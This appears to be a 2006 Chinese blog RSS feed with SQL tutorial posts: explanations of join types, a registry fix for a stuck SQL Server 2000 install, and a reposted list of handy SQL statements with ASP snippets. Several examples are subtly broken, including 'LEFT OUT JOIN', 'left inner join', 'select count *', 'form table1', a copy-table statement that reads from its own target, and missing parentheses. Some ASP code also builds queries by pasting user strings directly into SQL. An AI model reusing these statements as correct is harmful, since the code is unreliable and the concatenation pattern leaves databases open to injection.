		<p>1、等值连接：在连接条件中使用等于号(=)运算符比较被连接列的列值，其查询结果中列出被连接表中的所有列，包括其中的重复列。 </p>
		<p>2、不等连接： 在连接条件使用除等于运算符以外的其它比较运算符比较被连接的列的列值。这些运算符包括&gt;、&gt;=、&lt;=、&lt;、!&gt;、!&lt;和&lt;&gt;。 </p>
		<p>3、自然连接：在连接条件中使用等于(=)运算符比较被连接列的列值，但它使用选择列表指出查询结果集合中所包括的列，并删除连接表中的重复列。 </p>
		<p>例，下面使用等值连接列出authors和publishers表中位于同一城市的作者和出版社： </p>
		<p>SELECT * </p>
		<p>FROM authors AS a INNER JOIN publishers AS p </p>
		<p>ON a.city=p.city </p>
		<p> </p>
		<p>又如使用自然连接，在选择列表中删除authors 和publishers 表中重复列(city和state)： </p>
		<p>SELECT a.*,p.pub_id,p.pub_name,p.country </p>
		<p>FROM authors AS a INNER JOIN publishers AS p </p>
		<p>ON a.city=p.city </p>
		<p> </p>
		<p>(二)外连接 </p>
		<p>内连接时，返回查询结果集合中的仅是符合查询条件( WHERE 搜索条件或 HAVING 条件)和连接条件的行。而采用外连接时，它返回到查询结果集合中的不仅包含符合连接条件的行，而且还包括左表(左外连接时)、右表(右外连接时)或两个边接表(全外连接)中的所有数据行。 </p>
		<p>如下面使用左外连接将论坛内容和作者信息连接起来： </p>
		<p>SELECT a.*,b.* FROM luntan LEFT JOIN usertable as b </p>
		<p>ON a.username=b.username </p>
		<p> </p>
		<p>下面使用全外连接将city表中的所有作者以及user表中的所有作者，以及他们所在的城市： </p>
		<p>SELECT a.*,b.* </p>
		<p>FROM city as a FULL OUTER JOIN user as b </p>
		<p>ON a.username=b.username </p>
		<p> </p>
		<p>(三)交叉连接 </p>
		<p>交叉连接不带WHERE 子句，它返回被连接的两个表所有数据行的笛卡尔积，返回到结果集合中的数据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。 </p>
		<p>例，titles表中有6类图书，而publishers表中有8家出版社，则下列交叉连接检索到的记录数将等 </p>
		<p>于6*8=48行。 </p>
		<p>SELECT type,pub_name </p>
		<p>FROM titles CROSS JOIN publishers </p>
		<p>ORDER BY typ</p>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/69528.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-09-14 08:49 <a href="http://www.blogjava.net/liaojiyong/archive/2006/09/14/69528.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL Server安装文件挂起错误解决办法</title><link>http://www.blogjava.net/liaojiyong/archive/2006/05/31/49198.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Wed, 31 May 2006 03:04:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/05/31/49198.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/49198.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/05/31/49198.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/49198.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/49198.html</trackback:ping><description><![CDATA[　刚开始使用SQL Server 2000，就给了我一个下马威。不过最终还是解决了。具体情况和解决方法:<br />　　安装SQL Server 2000的操作系统是Windows 2000 Profession Edition,安装简体中文标准版。会提示该版本的操作系统不能安装服务器组件，只能安装SQL Server 2000个人版。于是退出，选择安装个人版。却出现了新的错误：<br />　　“以前的某个程序安装已在安装计算机上创建挂起的文件操作。运行安装程序之前必须重新启动计算机。”<br />　　接着按照提示重启计算机，再安装，仍然出现同样的提示。再网上查找相关资料，得知是安装程序在先前的安装过程中在系统注册表留下某些信息，导致不能安装。于是经过多次试，发现删除掉如下键值信息即可安装：<br />　　在运行窗口输入regedit，打开注册表编辑器，在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager中找到PendingFileRenameOperations，删除该键值，关闭注册表编辑器。重新安装SQL Server 2000，哈哈，久违的安装界面终于浮出水面了。<br />　　这个键值是安装程序暂挂项目，只要找到对应的应用程序清除掉就行了。<img src ="http://www.blogjava.net/liaojiyong/aggbug/49198.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-05-31 11:04 <a href="http://www.blogjava.net/liaojiyong/archive/2006/05/31/49198.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL 精妙语句（转） </title><link>http://www.blogjava.net/liaojiyong/archive/2006/05/24/47871.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Wed, 24 May 2006 10:51:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/05/24/47871.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/47871.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/05/24/47871.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/47871.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/47871.html</trackback:ping><description><![CDATA[
		<div class="postbody">
				<font size="2">如何从一位菜鸟蜕变成为高手，灵活使用的SQL语句是必不可少的。本文收集了部分比较经典，常用的SQL语句供大家参考，希望对大家有所帮助。 有不懂之处，可与本人留言。<br /><br />　　说明：复制表(只复制结构,源表名：a 新表名：b)　　 <br /><br />　　SQL: select * into b from a where 1&lt;&gt;1 <br /><br />　　说明：拷贝表(拷贝数据,源表名：a 目标表名：b)　　 <br /><br />　　SQL: insert into b(a, b, c) select d,e,f from b; <br /><br />　　说明：显示文章、提交人和最后回复时间　　 <br /><br />　　SQL: select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b <br /><br />　　说明：外连接查询(表名1：a 表名2：b)　　 <br /><br />　　SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c <br /><br />　　说明：日程安排提前五分钟提醒　　 <br /><br />　　SQL: select * from 日程安排 where datediff('minute',f开始时间,getdate())&gt;5　　 <br /><br />　　说明：两张关联表，删除主表中已经在副表中没有的信息 <br /><br />　　SQL: 　　 <br /><br />　　delete from info where not exists ( select * from infobz where info.infid=infobz.infid <br /><br />　　说明：-- <br /><br />　　SQL: 　　 <br /><br />　　SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE <br /><br />　　 FROM TABLE1, <br /><br />　　 (SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE <br /><br />　　 FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND <br /><br />　　 FROM TABLE2 <br /><br />　　 WHERE TO_CHAR(UPD_DATE,'YYYY/MM') = TO_CHAR(SYSDATE, 'YYYY/MM')) X, <br /><br />　　 (SELECT NUM, UPD_DATE, STOCK_ONHAND <br /><br />　　 FROM TABLE2 <br /><br />　　 WHERE TO_CHAR(UPD_DATE,'YYYY/MM') = <br /><br />　　 TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, 'YYYY/MM') &amp;brvbar;&amp;brvbar; '/01','YYYY/MM/DD') - 1, 'YYYY/MM') Y, <br /><br />　　 WHERE X.NUM = Y.NUM （+） <br /><br />　　 AND X.INBOUND_QTY + NVL(Y.STOCK_ONHAND,0) &lt;&gt; X.STOCK_ONHAND B <br /><br />　　WHERE A.NUM = B.NUM <br /><br />　　说明：-- <br /><br />　　SQL: 　　 <br /><br />　　select * from studentinfo where not exists(select * from student where studentinfo.id=student.id) and 系名称='"&amp;strdepartmentname&amp;"' and 专业名称='"&amp;strprofessionname&amp;"' order by 性别,生源地,高考总成绩 <br /><br />　　说明： <br /><br />　　从数据库中去一年的各单位电话费统计(电话费定额贺电化肥清单两个表来源） <br /><br />　　SQL: 　 <br /><br />　　SELECT a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy') AS telyear, <br /><br />　　 SUM(decode(TO_CHAR(a.telfeedate, '</font>
				<a class="article" href="http://www.enet.com.cn/eschool/includes/zhuanti/cg/index.shtml" target="_blank">
						<font color="#1d58d1" size="2">mm</font>
				</a>
				<font size="2">'), '01', a.factration)) AS JAN, <br /><br />　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '02', a.factration)) AS FRI, <br /><br />　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '03', a.factration)) AS MAR, <br /><br />　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '04', a.factration)) AS APR, <br /><br />　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '05', a.factration)) AS MAY, <br /><br />　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '06', a.factration)) AS JUE, <br /><br />　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '07', a.factration)) AS JUL, <br /><br />　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '08', a.factration)) AS AGU, <br /><br />　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '09', a.factration)) AS SEP, <br /><br />　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '10', a.factration)) AS OCT, <br /><br />　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '11', a.factration)) AS NOV, <br /><br />　　 SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '12', a.factration)) AS DEC <br /><br />　　FROM (SELECT a.userper, a.tel, a.standfee, b.telfeedate, b.factration <br /><br />　　 FROM TELFEESTAND a, TELFEE b <br /><br />　　 WHERE a.tel = b.telfax) a <br /><br />　　GROUP BY a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy') <br /><br />　　说明：四表联查问题：　　 <br /><br />　　SQL: select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where ..... <br /><br />　　说明：得到表中最小的未使用的ID号 <br /><br />　　SQL:　 <br /><br />　　SELECT (CASE WHEN EXISTS(SELECT * FROM Handle b WHERE b.HandleID = 1) THEN MIN(HandleID) + 1 ELSE 1 END) as HandleID <br /><br />　　 FROM Handle <br /><br />　　 WHERE NOT HandleID IN (SELECT a.HandleID - 1 FROM Handle a)</font>
				<br />
				<br />下列语句部分是Mssql语句，不可以在access中使用。<br /><br />SQL分类： <br />DDL—数据定义语言(CREATE，ALTER，DROP，DECLARE) <br />DML—数据操纵语言(SELECT，DELETE，UPDATE，INSERT) <br />DCL—数据控制语言(GRANT，REVOKE，COMMIT，ROLLBACK)<br /><br />首先,简要介绍基础语句：<br />1、说明：创建数据库<br />CREATE DATABASE database-name <br />2、说明：删除数据库<br />drop database dbname<br />3、说明：备份sql server<br />--- 创建 备份数据的 device<br />USE master<br />EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat'<br />--- 开始 备份<br />BACKUP DATABASE pubs TO testBack <br />4、说明：创建新表<br />create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)<br />根据已有的表创建新表： <br />A：create table tab_new like tab_old (使用旧表创建新表)<br />B：create table tab_new as select col1,col2… from tab_old definition only<br />5、说明：删除新表drop table tabname <br />6、说明：增加一个列<br />Alter table tabname add column col type<br />注：列增加后将不能删除。DB2中列加上后数据类型也不能改变，唯一能改变的是增加varchar类型的长度。<br />7、说明：添加主键： Alter table tabname add primary key(col) <br />说明：删除主键： Alter table tabname drop primary key(col) <br />8、说明：创建索引：create [unique] index idxname on tabname(col….) <br />删除索引：drop index idxname<br />注：索引是不可更改的，想更改必须删除重新建。<br />9、说明：创建视图：create view viewname as select statement <br />删除视图：drop view viewname<br />10、说明：几个简单的基本的sql语句<br />选择：select * from table1 where 范围<br />插入：insert into table1(field1,field2) values(value1,value2)<br />删除：delete from table1 where 范围<br />更新：update table1 set field1=value1 where 范围<br />查找：select * from table1 where field1 like ’%value1%’ ---like的语法很精妙，查资料!<br />排序：select * from table1 order by field1,field2 [desc]<br />总数：select count * as totalcount from table1<br />求和：select sum(field1) as sumvalue from table1<br />平均：select avg(field1) as avgvalue from table1<br />最大：select max(field1) as maxvalue from table1<br />最小：select min(field1) as minvalue from table1<br />11、说明：几个高级查询运算词<br />A： UNION 运算符 <br />UNION 运算符通过组合其他两个结果表（例如 TABLE1 和 TABLE2）并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时（即 UNION ALL），不消除重复行。两种情况下，派生表的每一行不是来自 TABLE1 就是来自 TABLE2。 <br />B： EXCEPT 运算符 <br />EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时 (EXCEPT ALL)，不消除重复行。 <br />C： INTERSECT 运算符<br />INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时 (INTERSECT ALL)，不消除重复行。 <br />注：使用运算词的几个查询结果行必须是一致的。 <br />12、说明：使用外连接 <br />A、left outer join： <br />左外连接（左连接）：结果集几包括连接表的匹配行，也包括左连接表的所有行。 <br />SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c<br />B：right outer join: <br />右外连接(右连接)：结果集既包括连接表的匹配连接行，也包括右连接表的所有行。 <br />C：full outer join： <br />全外连接：不仅包括符号连接表的匹配行，还包括两个连接表中的所有记录。<br /><br />其次，大家来看一些不错的sql语句<br />1、说明：复制表(只复制结构,源表名：a 新表名：b) (Access可用)<br />法一：select * into b from a where 1&lt;&gt;1<br />法二：select top 0 * into b from a<br /><br />2、说明：拷贝表(拷贝数据,源表名：a 目标表名：b) (Access可用)<br />insert into b(a, b, c) select d,e,f from b;<br /><br />3、说明：跨数据库之间表的拷贝(具体数据使用绝对路径) (Access可用)<br />insert into b(a, b, c) select d,e,f from b in ‘具体数据库’ where 条件<br />例子：..from b in '"&amp;Server.MapPath(".")&amp;"\data.mdb" &amp;"' where..<br /><br />4、说明：子查询(表名1：a 表名2：b)<br />select a,b,c from a where a IN (select d from b ) 或者: select a,b,c from a where a IN (1,2,3)<br /><br />5、说明：显示文章、提交人和最后回复时间<br />select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b<br /><br />6、说明：外连接查询(表名1：a 表名2：b)<br />select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c<br /><br />7、说明：在线视图查询(表名1：a )<br />select * from (SELECT a,b,c FROM a) T where t.a &gt; 1;<br /><br />8、说明：between的用法,between限制查询数据范围时包括了边界值,not between不包括<br />select * from table1 where time between time1 and time2<br />select a,b,c, from table1 where a not between 数值1 and 数值2<br /><br />9、说明：in 的使用方法<br />select * from table1 where a [not] in (‘值1’,’值2’,’值4’,’值6’)<br /><br />10、说明：两张关联表，删除主表中已经在副表中没有的信息 <br />delete from table1 where not exists ( select * from table2 where table1.field1=table2.field1 )<br /><br />11、说明：四表联查问题：<br />select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....<br /><br />12、说明：日程安排提前五分钟提醒 <br />SQL: select * from 日程安排 where datediff('minute',f开始时间,getdate())&gt;5<br /><br />13、说明：一条sql 语句搞定数据库分页<br />select top 10 b.* from (select top 20 主键字段,排序字段 from 表名 order by 排序字段 desc) a,表名 b where b.主键字段 = a.主键字段 order by a.排序字段<br /><br />14、说明：前10条记录<br />select top 10 * form table1 where 范围<br /><br />15、说明：选择在每一组b值相同的数据中对应的a最大的记录的所有信息(类似这样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成绩排名,等等.)<br />select a,b,c from tablename ta where a=(select max(a) from tablename tb where tb.b=ta.b)<br /><br />16、说明：包括所有在 TableA 中但不在 TableB和TableC 中的行并消除所有重复行而派生出一个结果表<br />(select a from tableA ) except (select a from tableB) except (select a from tableC)<br /><br />17、说明：随机取出10条数据<br />select top 10 * from tablename order by newid()<br /><br />18、说明：随机选择记录<br />select newid()<br /><br />19、说明：删除重复记录<br />Delete from tablename where id not in (select max(id) from tablename group by col1,col2,...)<br /><br />20、说明：列出数据库里所有的表名<br />select name from sysobjects where type='U' <br /><br />21、说明：列出表里的所有的<br />select name from syscolumns where id=object_id('TableName')<br /><br />22、说明：列示type、vender、pcs字段，以type字段排列，case可以方便地实现多重选择，类似select 中的case。<br />select type,sum(case vender when 'A' then pcs else 0 end),sum(case vender when 'C' then pcs else 0 end),sum(case vender when 'B' then pcs else 0 end) FROM tablename group by type<br />显示结果：<br />type vender pcs<br />电脑 A 1<br />电脑 A 1<br />光盘 B 2<br />光盘 A 2<br />手机 B 3<br />手机 C 3<br /><br />23、说明：初始化表table1<br />TRUNCATE TABLE table1<br /><br />24、说明：选择从10到15的记录<br />select top 5 * from (select top 15 * from table order by id asc) table_别名 order by id desc<br />　　<br />随机选择数据库记录的方法（使用Randomize函数，通过SQL语句实现）<br />　　对存储在数据库中的数据来说，随机数特性能给出上面的效果，但它们可能太慢了些。你不能要求ASP“找个随机数”然后打印出来。实际上常见的解决方案是建立如下所示的循环： <br />Randomize <br />RNumber = Int(Rnd*499) +1 <br />　<br />While Not objRec.EOF <br />If objRec("ID") = RNumber THEN <br />... 这里是执行脚本 ... <br />end if <br />objRec.MoveNext <br />Wend <br />　<br />　　这很容易理解。首先，你取出1到500范围之内的一个随机数（假设500就是数据库内记录的总数）。然后，你遍历每一记录来测试ID 的值、检查其是否匹配RNumber。满足条件的话就执行由THEN 关键字开始的那一块代码。假如你的RNumber 等于495，那么要循环一遍数据库花的时间可就长了。虽然500这个数字看起来大了些，但相比更为稳固的企业解决方案这还是个小型数据库了，后者通常在一个数据库内就包含了成千上万条记录。这时候不就死定了？ <br />　　采用SQL，你就可以很快地找出准确的记录并且打开一个只包含该记录的recordset，如下所示： <br />Randomize <br />RNumber = Int(Rnd*499) + 1 <br />　<br />SQL = "SELECT * FROM Customers WHERE ID = " &amp; RNumber <br />　<br />set objRec = ObjConn.Execute(SQL) <br />Response.WriteRNumber &amp; " = " &amp; objRec("ID") &amp; " " &amp; objRec("c_email") <br />　<br />　　不必写出RNumber 和ID，你只需要检查匹配情况即可。只要你对以上代码的工作满意，你自可按需操作“随机”记录。Recordset没有包含其他内容，因此你很快就能找到你需要的记录这样就大大降低了处理时间。 <br />再谈随机数 <br />　　现在你下定决心要榨干Random 函数的最后一滴油，那么你可能会一次取出多条随机记录或者想采用一定随机范围内的记录。把上面的标准Random 示例扩展一下就可以用SQL应对上面两种情况了。 <br />　　为了取出几条随机选择的记录并存放在同一recordset内，你可以存储三个随机数，然后查询数据库获得匹配这些数字的记录： <br />SQL = "SELECT * FROM Customers WHERE ID = " &amp; RNumber &amp; " OR ID = " &amp; RNumber2 &amp; " OR ID = " &amp; RNumber3 <br />　<br />　　假如你想选出10条记录（也许是每次页面装载时的10条链接的列表），你可以用BETWEEN 或者数学等式选出第一条记录和适当数量的递增记录。这一操作可以通过好几种方式来完成，但是 SELECT 语句只显示一种可能（这里的ID 是自动生成的号码）： <br />SQL = "SELECT * FROM Customers WHERE ID BETWEEN " &amp; RNumber &amp; " AND " &amp; RNumber &amp; "+ 9" <br /><br />　　注意：以上代码的执行目的不是检查数据库内是否有9条并发记录。<br /><br />　<br />随机读取若干条记录，测试过<br />Access语法：SELECT top 10 * From 表名 ORDER BY Rnd(id)<br />Sql server:select top n * from 表名 order by newid()<br />mysql<img alt="" src="file:///C:/Documents%20and%20Settings/King/桌面/博客园%20-%20灯烛之火-日月争辉%20-%20精妙Sql语句.files/8.gif" onload="javascript:if(this.width&gt;550)this.style.width=550; if(this.height&gt;550)this.style.width=(this.width*550)/this.height;" />elect * From 表名 Order By rand() Limit n<br />Access左连接语法(最近开发要用左连接,Access帮助什么都没有,网上没有Access的SQL说明,只有自己测试, 现在记下以备后查)<br />语法<img alt="" src="file:///C:/Documents%20and%20Settings/King/桌面/博客园%20-%20灯烛之火-日月争辉%20-%20精妙Sql语句.files/8.gif" onload="javascript:if(this.width&gt;550)this.style.width=550; if(this.height&gt;550)this.style.width=(this.width*550)/this.height;" />elect table1.fd1,table1,fd2,table2.fd2 From table1 left join table2 on table1.fd1,table2.fd1 where ...<br />使用SQL语句 用...代替过长的字符串显示<br />语法：<br />SQL数据库：select case when len(field)&gt;10 then left(field,10)+'...' else field end as news_name,news_id from tablename<br />Access数据库：SELECT iif(len(field)&gt;2,left(field,2)+'...',field) FROM tablename; <br />　<br />Conn.Execute说明<br />Execute方法<br />　　该方法用于执行SQL语句。根据SQL语句执行后是否返回记录集，该方法的使用格式分为以下两种：<br />　　　　1．执行SQL查询语句时，将返回查询得到的记录集。用法为：<br />　　　　Set 对象变量名=连接对象.Execute("SQL 查询语言")<br />　　　Execute方法调用后，会自动创建记录集对象，并将查询结果存储在该记录对象中，通过Set方法，将记录集赋给指定的对象保存，以后对象变量就代表了该记录集对象。<br /><br />　　　　2．执行SQL的操作性语言时，没有记录集的返回。此时用法为：<br />　　　　连接对象.Execute "SQL 操作性语句" [, RecordAffected][, Option]<br />　　　　　　·RecordAffected 为可选项，此出可放置一个变量，SQL语句执行后，所生效的记录数会自动保存到该变量中。通过访问该变量，就可知道SQL语句队多少条记录进行了操作。<br />　　　　　　·Option 可选项，该参数的取值通常为adCMDText，它用于告诉ADO，应该将Execute方法之后的第一个字符解释为命令文本。通过指定该参数，可使执行更高效。<br /><br />·BeginTrans、RollbackTrans、CommitTrans方法<br />　　这三个方法是连接对象提供的用于事务处理的方法。BeginTrans用于开始一个事物；RollbackTrans用于回滚事务；CommitTrans用于提交所有的事务处理结果，即确认事务的处理。<br />　　事务处理可以将一组操作视为一个整体，只有全部语句都成功执行后，事务处理才算成功；若其中有一个语句执行失败，则整个处理就算失败，并恢复到处里前的状态。<br />　　BeginTrans和CommitTrans用于标记事务的开始和结束，在这两个之间的语句，就是作为事务处理的语句。判断事务处理是否成功，可通过连接对象的Error集合来实现，若Error集合的成员个数不为0，则说明有错误发生，事务处理失败。Error集合中的每一个Error对象，代表一个错误信息。</div>
<img src ="http://www.blogjava.net/liaojiyong/aggbug/47871.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-05-24 18:51 <a href="http://www.blogjava.net/liaojiyong/archive/2006/05/24/47871.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>